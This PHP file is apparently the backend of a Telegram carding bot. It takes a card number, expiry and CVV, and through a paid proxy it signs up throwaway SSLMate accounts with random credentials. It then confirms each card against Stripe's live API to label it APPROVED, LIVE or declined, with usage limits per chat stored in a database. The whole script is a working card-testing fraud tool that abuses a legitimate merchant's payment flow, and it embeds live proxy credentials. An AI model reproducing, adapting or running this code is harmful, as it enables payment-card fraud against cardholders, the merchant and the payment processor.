<?php

header('Content-Type: text/plain; charset=utf-8');

$start = microtime(true);

// Database connection
$db_host = 'localhost';
$db_name = 'checkerbotdb3';
$db_user = 'root';
$db_pass = '';

function getCurrentLimit($chatid) {
    global $db_host, $db_name, $db_user, $db_pass;
    try {
        $conn = new PDO("mysql:host=$db_host;dbname=$db_name;charset=utf8mb4", $db_user, $db_pass);
        $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
        
        $stmt = $conn->prepare("SELECT stripegenellimit FROM users WHERE chatid = :chatid");
        $stmt->execute(['chatid' => $chatid]);
        $result = $stmt->fetch(PDO::FETCH_ASSOC);
        
        if ($result) {
            return (int)$result['stripegenellimit'];
        }
        return 0;
    } catch(PDOException $e) {
        return 0;
    }
}

function decrementLimit($chatid) {
    global $db_host, $db_name, $db_user, $db_pass, $debug;
    try {
        $conn = new PDO("mysql:host=$db_host;dbname=$db_name;charset=utf8mb4", $db_user, $db_pass);
        $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
        
        $stmt = $conn->prepare("UPDATE users SET stripegenellimit = stripegenellimit - 1 WHERE chatid = :chatid AND stripegenellimit > 0");
        $stmt->execute(['chatid' => $chatid]);
        
        $affected = $stmt->rowCount();
        
        if ($debug) {
            echo "[DEBUG] === LIMIT DÜŞÜRME ===\n";
            echo "[DEBUG] Chat ID: $chatid\n";
            echo "[DEBUG] Etkilenen satır: $affected\n";
            if ($affected > 0) {
                echo "[DEBUG] ✅ Limit başarıyla düşürüldü\n";
            } else {
                echo "[DEBUG] ⚠️ Hiçbir satır güncellenmedi (limit zaten 0 olabilir)\n";
            }
            echo "[DEBUG] =======================\n\n";
        }
        
        return true;
    } catch(PDOException $e) {
        if ($debug) {
            echo "[DEBUG] ❌ Limit düşürme hatası: " . $e->getMessage() . "\n\n";
        }
        return false;
    }
}

// Debug mode kontrolü
$debug = isset($_GET['debug']) && $_GET['debug'] == '1';

// Proxy ayarları
$proxy = "rp.scrapegw.com:6060";
$proxy_auth = "ccb7t99f1xa6q6v-countr-tr:e88zmabjie6wuek";

if ($debug) echo "[DEBUG] ========== STRIPEAUTH BAŞLATILDI ==========\n\n";

// Check parameters
if (!isset($_GET['kart']) || !isset($_GET['chatid'])) {
    echo "❌ ERROR: Missing parameters\n";
    echo "Usage: ?kart=CARDNUMBER|MONTH|YEAR|CVV&chatid=CHATID\n";
    exit;
}

$chatid = $_GET['chatid'];

// Check limit
$currentLimit = getCurrentLimit($chatid);

if ($debug) {
    echo "[DEBUG] ========== LİMİT KONTROLÜ ==========\n";
    echo "[DEBUG] Chat ID: $chatid\n";
    echo "[DEBUG] Mevcut Limit: $currentLimit\n";
    echo "[DEBUG] =====================================\n\n";
}

if ($currentLimit < 1) {
    if ($debug) echo "[DEBUG] ❌ LİMİT YETERSİZ! İşlem durduruluyor.\n\n";
    echo "❌ STRIPE LIMIT EXHAUSTED\n\nYour stripe limit is $currentLimit. Please contact admin.";
    exit;
}

if ($debug) echo "[DEBUG] ✅ Limit kontrolü başarılı, devam ediliyor...\n\n";

// NOT: Limit sadece başarılı sonuçta düşürülecek (APPROVED veya LIVE)

// 1. ADIM: Kart parametresini al
if ($debug) echo "[DEBUG] ADIM 1: Kart parametresi kontrol ediliyor...\n";
$cc_raw = $_GET['kart'];
if ($debug) echo "[DEBUG] ✓ Kart parametresi alındı: $cc_raw\n\n";

// 2. ADIM: Kart parametresini parçala
if ($debug) echo "[DEBUG] ADIM 2: Kart bilgileri parçalanıyor...\n";
list($cc, $mm, $yy, $cvv) = explode("|", $cc_raw);
if (strlen($yy) == 4) {
    $yy = substr($yy, -2);
}
if ($debug) {
    echo "[DEBUG] ✓ Kart: $cc\n";
    echo "[DEBUG] ✓ Ay: $mm\n";
    echo "[DEBUG] ✓ Yıl: $yy\n";
    echo "[DEBUG] ✓ CVV: $cvv\n\n";
}

// 3. ADIM: SSLMate'ten client_secret al (Yeni hesap oluşturma yöntemi)
if ($debug) echo "[DEBUG] ADIM 3: SSLMate hesap oluşturma ve client_secret alınıyor...\n";

// 3.1: Önce signup sayfasından cookie ve csrf token al
if ($debug) echo "[DEBUG] 3.1: Signup sayfasından cookie/csrf alınıyor...\n";
$signup_url = "https://sslmate.com/signup?for=basic";

$signup_headers = [
    'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8',
    'Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7',
    'Accept-Encoding: gzip, deflate, br',
    'Connection: keep-alive',
    'Upgrade-Insecure-Requests: 1'
];

$cookie_file = tempnam(sys_get_temp_dir(), 'sslmate_cookies_');

$ch = curl_init($signup_url);
curl_setopt($ch, CURLOPT_HTTPHEADER, $signup_headers);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_ENCODING, '');
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_file);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file);
curl_setopt($ch, CURLOPT_PROXY, $proxy);
curl_setopt($ch, CURLOPT_PROXYUSERPWD, $proxy_auth);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);

$signup_response = curl_exec($ch);
$signup_http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($debug) echo "[DEBUG] Signup sayfa HTTP Kod: $signup_http_code\n";

// Cookie'den csrf_token'ı çıkar
$csrf_token = null;
if (preg_match('/__Host-sslmate-csrf_token=([^;]+)/', $signup_response, $csrf_match)) {
    $csrf_token = $csrf_match[1];
    if ($debug) echo "[DEBUG] ✓ CSRF Token alındı: " . substr($csrf_token, 0, 20) . "...\n";
} else {
    if ($debug) echo "[DEBUG] ⚠️ CSRF token header'da bulunamadı, cookie dosyasından deneniyor...\n";
    // Cookie dosyasından okumayı dene
    if (file_exists($cookie_file)) {
        $cookie_content = file_get_contents($cookie_file);
        if (preg_match('/__Host-sslmate-csrf_token\s+(.+)/', $cookie_content, $csrf_match)) {
            $csrf_token = trim($csrf_match[1]);
            if ($debug) echo "[DEBUG] ✓ CSRF Token cookie dosyasından alındı\n";
        }
    }
}

if (!$csrf_token) {
    if ($debug) echo "[DEBUG] ❌ CSRF token alınamadı\n";
    echo "❌DECLINED❌\n\nCODE: CSRF token not found\n\n𝑪𝑯𝑬𝑪𝑲𝑬𝑫 𝑩𝒀 @key4checker_bot";
    @unlink($cookie_file);
    exit;
}

// 3.2: Rastgele hesap bilgileri oluştur
$random_str = substr(md5(uniqid(rand(), true)), 0, 12);
$username = "user" . $random_str;
$email = $random_str . "@gmail.com";
$password = "Pass" . $random_str . "123!";

if ($debug) {
    echo "[DEBUG] 3.2: Hesap bilgileri oluşturuldu:\n";
    echo "[DEBUG] Username: $username\n";
    echo "[DEBUG] Email: $email\n";
    echo "[DEBUG] Password: $password\n";
}

// 3.3: Hesap oluştur
if ($debug) echo "[DEBUG] 3.3: Hesap oluşturma isteği gönderiliyor...\n";

$signup_post_headers = [
    'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8',
    'Accept-Encoding: gzip, deflate, br',
    'Accept-Language: tr-TR,tr;q=0.9',
    'Cache-Control: max-age=0',
    'Connection: keep-alive',
    'Content-Type: application/x-www-form-urlencoded',
    'Origin: https://sslmate.com',
    'Referer: https://sslmate.com/signup?for=basic',
    'Sec-Ch-Ua: "Not_A Brand";v="99", "Chromium";v="142"',
    'Sec-Ch-Ua-Mobile: ?0',
    'Sec-Ch-Ua-Platform: "Windows"',
    'Sec-Fetch-Dest: document',
    'Sec-Fetch-Mode: navigate',
    'Sec-Fetch-Site: same-origin',
    'Sec-Fetch-User: ?1',
    'Upgrade-Insecure-Requests: 1',
    'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36'
];

$signup_data = [
    'csrf_token' => $csrf_token,
    'username' => $username,
    'email' => $email,
    'password' => $password,
    'submit_btn' => 'Create My Account'
];

$ch = curl_init($signup_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($signup_data));
curl_setopt($ch, CURLOPT_HTTPHEADER, $signup_post_headers);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_ENCODING, '');
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_file);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file);
curl_setopt($ch, CURLOPT_PROXY, $proxy);
curl_setopt($ch, CURLOPT_PROXYUSERPWD, $proxy_auth);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);

$signup_create_response = curl_exec($ch);
$signup_create_http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($debug) echo "[DEBUG] Hesap oluşturma HTTP Kod: $signup_create_http_code\n";

// Redirect kontrolü
$redirect_location = null;
if ($signup_create_http_code >= 300 && $signup_create_http_code < 400) {
    if (preg_match('/Location:\s*(.+)/i', $signup_create_response, $location_match)) {
        $redirect_location = trim($location_match[1]);
        if ($debug) echo "[DEBUG] ✓ Redirect Location: $redirect_location\n";
    }
}

if (!$redirect_location) {
    if ($debug) echo "[DEBUG] ⚠️ Redirect location bulunamadı\n";
    echo "❌DECLINED❌\n\nCODE: No redirect after signup\n\n𝑪𝑯𝑬𝑪𝑲𝑬𝑫 𝑩𝒀 @key4checker_bot";
    @unlink($cookie_file);
    exit;
}

// Redirect başarılı mı kontrol et (Python kodundaki gibi)
$is_valid_redirect = (
    strpos($redirect_location, '/console/setup') !== false || 
    strpos($redirect_location, '/console') !== false || 
    strpos($redirect_location, '/dashboard') !== false || 
    strpos($redirect_location, '/welcome') !== false
);

if (!$is_valid_redirect) {
    if ($debug) echo "[DEBUG] ⚠️ Beklenmeyen redirect lokasyonu: $redirect_location\n";
    echo "❌DECLINED❌\n\nCODE: Unexpected redirect location\n\n𝑪𝑯𝑬𝑪𝑲𝑬𝑫 𝑩𝒀 @key4checker_bot";
    @unlink($cookie_file);
    exit;
}

if ($debug) echo "[DEBUG] ✓ Hesap başarıyla oluşturuldu!\n";

// 3.4: Redirect'i takip et (yeni csrf token alınacak)
if ($debug) echo "[DEBUG] 3.4: Redirect takip ediliyor...\n";

$redirect_url = (strpos($redirect_location, 'http') === 0) ? $redirect_location : "https://sslmate.com" . $redirect_location;

$redirect_headers = [
    'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8',
    'Accept-Encoding: gzip, deflate, br',
    'Accept-Language: tr-TR,tr;q=0.9',
    'Connection: keep-alive',
    'Referer: https://sslmate.com/signup?for=basic',
    'Sec-Ch-Ua: "Not_A Brand";v="99", "Chromium";v="142"',
    'Sec-Ch-Ua-Mobile: ?0',
    'Sec-Ch-Ua-Platform: "Windows"',
    'Sec-Fetch-Dest: document',
    'Sec-Fetch-Mode: navigate',
    'Sec-Fetch-Site: same-origin',
    'Upgrade-Insecure-Requests: 1',
    'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36'
];

$ch = curl_init($redirect_url);
curl_setopt($ch, CURLOPT_HTTPHEADER, $redirect_headers);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_ENCODING, '');
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_file);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file);
curl_setopt($ch, CURLOPT_PROXY, $proxy);
curl_setopt($ch, CURLOPT_PROXYUSERPWD, $proxy_auth);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);

$redirect_response = curl_exec($ch);
$redirect_http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($debug) echo "[DEBUG] Redirect HTTP Kod: $redirect_http_code\n";

// Yeni csrf token al
$new_csrf_token = null;
if (preg_match('/__Host-sslmate-csrf_token=([^;]+)/', $redirect_response, $new_csrf_match)) {
    $new_csrf_token = $new_csrf_match[1];
    if ($debug) echo "[DEBUG] ✓ Yeni CSRF Token alındı: " . substr($new_csrf_token, 0, 20) . "...\n";
} else {
    // Cookie dosyasından tekrar oku
    if (file_exists($cookie_file)) {
        $cookie_content = file_get_contents($cookie_file);
        if (preg_match('/__Host-sslmate-csrf_token\s+(.+)/', $cookie_content, $new_csrf_match)) {
            $new_csrf_token = trim($new_csrf_match[1]);
            if ($debug) echo "[DEBUG] ✓ Yeni CSRF Token cookie dosyasından alındı\n";
        }
    }
}

// Yeni token varsa kullan, yoksa eski token'ı devam ettir
if ($new_csrf_token) {
    $csrf_token = $new_csrf_token;
}

// 3.5: Stripe setup intent oluştur
if ($debug) echo "[DEBUG] 3.5: Stripe setup intent oluşturuluyor...\n";

$setup_intent_url = "https://sslmate.com/console/create_stripe_setup_intent";

$setup_intent_headers = [
    'Accept: */*',
    'Accept-Encoding: gzip, deflate, br',
    'Accept-Language: tr-TR,tr;q=0.9',
    'Connection: keep-alive',
    'Content-Type: application/x-www-form-urlencoded',
    'Origin: https://sslmate.com',
    'Referer: https://sslmate.com/console/setup',
    'Sec-Ch-Ua: "Not_A Brand";v="99", "Chromium";v="142"',
    'Sec-Ch-Ua-Mobile: ?0',
    'Sec-Ch-Ua-Platform: "Windows"',
    'Sec-Fetch-Dest: empty',
    'Sec-Fetch-Mode: cors',
    'Sec-Fetch-Site: same-origin',
    'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36'
];

$setup_intent_data = [
    'csrf_token' => $csrf_token
];

$ch = curl_init($setup_intent_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($setup_intent_data));
curl_setopt($ch, CURLOPT_HTTPHEADER, $setup_intent_headers);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_ENCODING, '');
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_file);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file);
curl_setopt($ch, CURLOPT_PROXY, $proxy);
curl_setopt($ch, CURLOPT_PROXYUSERPWD, $proxy_auth);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);

$setup_intent_response = curl_exec($ch);
$setup_intent_http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($debug) {
    echo "[DEBUG] Setup Intent HTTP Kod: $setup_intent_http_code\n";
    echo "[DEBUG] Setup Intent Yanıt (ilk 200 karakter): " . substr($setup_intent_response, 0, 200) . "...\n";
}

// Cookie dosyasını temizle
@unlink($cookie_file);

// JSON parse et
$data = json_decode($setup_intent_response, true);
if (!isset($data['client_secret'])) {
    if ($debug) {
        echo "[DEBUG] HATA: client_secret bulunamadı\n";
        echo "[DEBUG] Yanıt: " . print_r($data, true) . "\n";
    }
    echo "❌DECLINED❌\n\nCODE: client_secret not found\n\n𝑪𝑯𝑬𝑪𝑲𝑬𝑫 𝑩𝒀 @key4checker_bot";
    exit;
}

$client_secret = $data['client_secret'];
if ($debug) echo "[DEBUG] ✓ client_secret alındı: $client_secret\n\n";

// 4. ADIM: client_secret içinden setup_intent id'sini ayıkla
if ($debug) echo "[DEBUG] ADIM 4: setup_intent ID çıkarılıyor...\n";
preg_match('/seti_[^_]+/', $client_secret, $seti_match);
$seti_id = $seti_match[0] ?? null;
if (!$seti_id) {
    if ($debug) echo "[DEBUG] HATA: setup_intent ID bulunamadı\n";
    echo "❌DECLINED❌\n\nCODE: setup_intent ID not found\n\n𝑪𝑯𝑬𝑪𝑲𝑬𝑫 𝑩𝒀 @key4checker_bot";
    exit;
}
if ($debug) echo "[DEBUG] ✓ setup_intent ID: $seti_id\n\n";

// 5. ADIM: Stripe API'ye kart doğrulama isteği gönder
if ($debug) echo "[DEBUG] ADIM 5: Stripe API'ye kart doğrulama isteği gönderiliyor...\n";
$stripe_url = "https://api.stripe.com/v1/setup_intents/$seti_id/confirm";
$stripe_data = http_build_query([
    "payment_method_data[type]" => "card",
    "payment_method_data[card][number]" => $cc,
    "payment_method_data[card][cvc]" => $cvv,
    "payment_method_data[card][exp_month]" => $mm,
    "payment_method_data[card][exp_year]" => "20$yy",
    "payment_method_data[guid]" => "a41e22b8-cf33-4d11-94eb-cd2f7dbe6af2da8a9c",
    "payment_method_data[muid]" => "a2bd9b87-2759-4e8b-b2c1-6d334d5533d8da47cb",
    "payment_method_data[sid]" => "db2641bd-3a9d-4760-88df-9f007a4faae6c8361e",
    "payment_method_data[pasted_fields]" => "number",
    "payment_method_data[payment_user_agent]" => "stripe.js/d13c85e5a9; stripe-js-v3/d13c85e5a9; card-element",
    "payment_method_data[referrer]" => "https://sslmate.com",
    "payment_method_data[time_on_page]" => "128765",
    "expected_payment_method_type" => "card",
    "use_stripe_sdk" => "true",
    "return_url" => "https://sslmate.com/console/setup?free_trial=yes&plan=hobbyist",
    "key" => "pk_live_AZE9GUp1xSOBnn6iDBqVUiqo",
    "client_secret" => $client_secret
]);

$stripe_headers = [
    "Content-Type: application/x-www-form-urlencoded"
];

$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $stripe_url,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => $stripe_data,
    CURLOPT_HTTPHEADER => $stripe_headers,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_PROXY => $proxy,
    CURLOPT_PROXYUSERPWD => $proxy_auth,
]);

if ($debug) echo "[DEBUG] Stripe API'ye istek gönderiliyor...\n";
$stripe_response = curl_exec($ch);
$stripe_http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$stripe_curl_error = curl_error($ch);
curl_close($ch);

if ($debug) {
    echo "[DEBUG] HTTP Kod: $stripe_http_code\n";
    if ($stripe_curl_error) {
        echo "[DEBUG] cURL Hatası: $stripe_curl_error\n";
    }
    echo "[DEBUG] Stripe yanıtı alındı (ilk 300 karakter):\n";
    echo "[DEBUG] " . substr($stripe_response, 0, 300) . "...\n\n";
}

// 6. ADIM: Formatlanmış çıktı
if ($debug) echo "[DEBUG] ADIM 6: Yanıt işleniyor...\n";
$json = json_decode($stripe_response, true);

if ($debug) {
    echo "[DEBUG] JSON Decode durumu: " . (json_last_error() === JSON_ERROR_NONE ? "Başarılı" : "Hatalı") . "\n";
    if (json_last_error() !== JSON_ERROR_NONE) {
        echo "[DEBUG] JSON Hatası: " . json_last_error_msg() . "\n";
    }
}

// BIN bilgisi al
if ($debug) echo "[DEBUG] BIN bilgisi alınıyor...\n";
$bin = substr($cc, 0, 6);
$bin_url = "http://localhost/yenifinalcheckerkey4bot/apiler/binapi/binapi2.php?bin=$bin";
if ($debug) echo "[DEBUG] BIN API URL: $bin_url\n";
$bin_response = @file_get_contents($bin_url);
$bin_info = "$bin | Unknown";
if ($bin_response) {
    if ($debug) echo "[DEBUG] BIN yanıtı alındı\n";
    $bin_data = json_decode($bin_response, true);
    if (is_array($bin_data)) {
        $selected_db = null;
        
        if (isset($bin_data['global2_db']) && is_array($bin_data['global2_db']) && !empty($bin_data['global2_db']['bank'])) {
            $selected_db = $bin_data['global2_db'];
        } elseif (isset($bin_data['tr_db']) && is_array($bin_data['tr_db']) && !empty($bin_data['tr_db']['bank'])) {
            $selected_db = $bin_data['tr_db'];
        } elseif (isset($bin_data['global_db']) && is_array($bin_data['global_db']) && !empty($bin_data['global_db']['bank'])) {
            $selected_db = $bin_data['global_db'];
        }
        
        if ($selected_db) {
            $country = isset($selected_db['country']) ? strtoupper($selected_db['country']) : 'Unknown';
            $bank = isset($selected_db['bank']) ? strtoupper($selected_db['bank']) : 'Unknown';
            $type = isset($selected_db['type']) ? strtoupper($selected_db['type']) : '';
            $level = isset($selected_db['level']) ? strtoupper($selected_db['level']) : '';
            
            $bin_info = "$bin | $country | $bank | $type $level";
            $bin_info = trim($bin_info);
        }
    }
} else {
    if ($debug) echo "[DEBUG] BIN yanıtı alınamadı\n";
}
if ($debug) echo "[DEBUG] ✓ BIN Bilgisi: $bin_info\n\n";

// Status ve mesaj
if ($debug) echo "[DEBUG] Sonuç analiz ediliyor...\n";
$is_success = false;
$is_3d_secure = false;
$code = '';
$decline_code = '';
$message = '';

// Debug için tüm JSON'u göster
if ($debug) {
    echo "[DEBUG] ========== FULL STRIPE RESPONSE ==========\n";
    echo "[DEBUG] " . json_encode($json, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE) . "\n";
    echo "[DEBUG] ==========================================\n\n";
}

// Payment Method bilgilerini çıkar
if ($debug && isset($json['payment_method'])) {
    echo "[DEBUG] === PAYMENT METHOD DETAYLARI ===\n";
    $pm_id = $json['payment_method'];
    echo "[DEBUG] Payment Method ID: $pm_id\n";
    
    // Eğer payment_method bir obje ise (expanded)
    if (is_array($json['payment_method'])) {
        $pm = $json['payment_method'];
        if (isset($pm['card'])) {
            echo "[DEBUG] Card Brand: " . ($pm['card']['brand'] ?? 'N/A') . "\n";
            echo "[DEBUG] Card Last4: " . ($pm['card']['last4'] ?? 'N/A') . "\n";
            echo "[DEBUG] Card Funding: " . ($pm['card']['funding'] ?? 'N/A') . "\n";
            echo "[DEBUG] Card Country: " . ($pm['card']['country'] ?? 'N/A') . "\n";
            echo "[DEBUG] Card Checks - CVC: " . ($pm['card']['checks']['cvc_check'] ?? 'N/A') . "\n";
            echo "[DEBUG] Card Checks - Address: " . ($pm['card']['checks']['address_line1_check'] ?? 'N/A') . "\n";
        }
    }
    echo "[DEBUG] ==================================\n\n";
}

// Next Action bilgisi (3D Secure için)
if ($debug && isset($json['next_action'])) {
    echo "[DEBUG] === NEXT ACTION (3D SECURE) ===\n";
    echo "[DEBUG] Type: " . ($json['next_action']['type'] ?? 'N/A') . "\n";
    if (isset($json['next_action']['redirect_to_url'])) {
        echo "[DEBUG] Redirect URL: " . ($json['next_action']['redirect_to_url']['url'] ?? 'N/A') . "\n";
    }
    echo "[DEBUG] ==================================\n\n";
}

if (isset($json['error'])) {
    // Direkt error objesi varsa
    if ($debug) echo "[DEBUG] Hata objesi bulundu: json['error']\n";
    $code = $json['error']['code'] ?? '';
    $decline_code = $json['error']['decline_code'] ?? '';
    $message = $json['error']['message'] ?? '';
    $error_type = $json['error']['type'] ?? '';
    
    if ($debug) {
        echo "[DEBUG] === ERROR DETAYLARI ===\n";
        echo "[DEBUG] Error Type: $error_type\n";
        echo "[DEBUG] Error Code: $code\n";
        echo "[DEBUG] Decline Code: $decline_code\n";
        echo "[DEBUG] Message: $message\n";
        
        // Payment method detayları varsa
        if (isset($json['error']['payment_method'])) {
            $pm = $json['error']['payment_method'];
            if (isset($pm['card'])) {
                echo "[DEBUG] Card Brand: " . ($pm['card']['brand'] ?? 'N/A') . "\n";
                echo "[DEBUG] Card Last4: " . ($pm['card']['last4'] ?? 'N/A') . "\n";
            }
        }
        echo "[DEBUG] =========================\n\n";
    }
} elseif (isset($json['last_setup_error'])) {
    // setup_intent içinde last_setup_error varsa
    if ($debug) echo "[DEBUG] Hata objesi bulundu: json['last_setup_error']\n";
    $code = $json['last_setup_error']['code'] ?? '';
    $decline_code = $json['last_setup_error']['decline_code'] ?? '';
    $message = $json['last_setup_error']['message'] ?? '';
    $error_type = $json['last_setup_error']['type'] ?? '';
    
    if ($debug) {
        echo "[DEBUG] === LAST SETUP ERROR DETAYLARI ===\n";
        echo "[DEBUG] Error Type: $error_type\n";
        echo "[DEBUG] Error Code: $code\n";
        echo "[DEBUG] Decline Code: $decline_code\n";
        echo "[DEBUG] Message: $message\n";
        
        // Payment method detayları varsa
        if (isset($json['last_setup_error']['payment_method'])) {
            $pm = $json['last_setup_error']['payment_method'];
            if (isset($pm['card'])) {
                echo "[DEBUG] Card Brand: " . ($pm['card']['brand'] ?? 'N/A') . "\n";
                echo "[DEBUG] Card Last4: " . ($pm['card']['last4'] ?? 'N/A') . "\n";
            }
        }
        echo "[DEBUG] ====================================\n\n";
    }
} elseif (isset($json['status'])) {
    if ($debug) {
        echo "[DEBUG] === STATUS ANALIZI ===\n";
        echo "[DEBUG] Status: " . $json['status'] . "\n";
        echo "[DEBUG] Client Secret: " . ($json['client_secret'] ?? 'N/A') . "\n";
        echo "[DEBUG] Created: " . ($json['created'] ?? 'N/A') . " (" . date('Y-m-d H:i:s', $json['created'] ?? 0) . ")\n";
        echo "[DEBUG] Livemode: " . (($json['livemode'] ?? false) ? 'true' : 'false') . "\n";
        echo "[DEBUG] =======================\n\n";
    }
    
    if ($json['status'] == 'succeeded') {
        if ($debug) echo "[DEBUG] ✅ Kart BAŞARILI (APPROVED)!\n";
        $is_success = true;
    } elseif ($json['status'] == 'requires_action') {
        if ($debug) echo "[DEBUG] ✅ 3D Secure gerekli - Kart LIVE!\n";
        // 3D Secure doğrulaması gerekiyor - LIVE kart
        $is_3d_secure = true;
    } elseif ($json['status'] == 'requires_payment_method') {
        if ($debug) echo "[DEBUG] ❌ Kart reddedildi (requires_payment_method)\n";
        // Kart reddedildi ama error objesi yok
        $code = 'card_declined';
        $message = 'Card was declined';
    } elseif ($json['status'] == 'canceled') {
        if ($debug) echo "[DEBUG] ❌ Setup Intent iptal edildi\n";
        $code = 'setup_intent_canceled';
        $message = 'Setup intent was canceled';
    } elseif ($json['status'] == 'processing') {
        if ($debug) echo "[DEBUG] ⏳ İşleniyor (processing)\n";
        $code = 'processing';
        $message = 'Payment is processing';
    }
} else {
    if ($debug) echo "[DEBUG] ⚠️ UYARI: Status bilgisi bulunamadı\n";
}
if ($debug) echo "\n";

// RESULT oluştur
if ($debug) echo "[DEBUG] ========== SONUÇ ==========\n\n";

$elapsed = round(microtime(true) - $start, 2);

// Limit her durumda düş (APPROVED, LIVE, DECLINED hepsi)
decrementLimit($chatid);
$new_limit = $currentLimit - 1;

if ($is_success) {
    $result = "Success";
    if ($debug) echo "[DEBUG] Final Sonuç: APPROVED (Limit düşürüldü: $currentLimit -> $new_limit)\n\n";
    echo "✅ APPROVED | {$cc}|{$mm}|{$yy}|{$cvv} ({$elapsed}s) 𝐋𝐈𝐌𝐈𝐓:{$new_limit} 𝐒𝐓𝐑𝐈𝐏𝐄𝐀𝐔𝐓𝐇 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot";
} elseif ($is_3d_secure) {
    $result = "3D_SECURE";
    if ($debug) echo "[DEBUG] Final Sonuç: LIVE (3D Secure) (Limit düşürüldü: $currentLimit -> $new_limit)\n\n";
    echo "✅ LIVE (3D Secure Required) | {$cc}|{$mm}|{$yy}|{$cvv} ({$elapsed}s) 𝐋𝐈𝐌𝐈𝐓:{$new_limit} 𝐒𝐓𝐑𝐈𝐏𝐄𝐀𝐔𝐓𝐇 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot";
} else {
    // DECLINED - Limit yine de düştü
    if ($code && $decline_code) {
        $error_detail = "$code - $decline_code";
    } elseif ($code) {
        $error_detail = $code;
    } elseif ($message) {
        $error_detail = $message;
    } else {
        $error_detail = "Unknown Error";
    }
    if ($debug) echo "[DEBUG] Final Sonuç: DECLINED - $error_detail (Limit düşürüldü: $currentLimit -> $new_limit)\n\n";
    echo "❌ {$error_detail} | {$cc}|{$mm}|{$yy}|{$cvv} ({$elapsed}s) 𝐋𝐈𝐌𝐈𝐓:{$new_limit} 𝐒𝐓𝐑𝐈𝐏𝐄𝐀𝐔𝐓𝐇 𝐂𝐇𝐄𝐂𝐊 𝐁𝐘 @aerithiacheck3r_bot";
}
?>
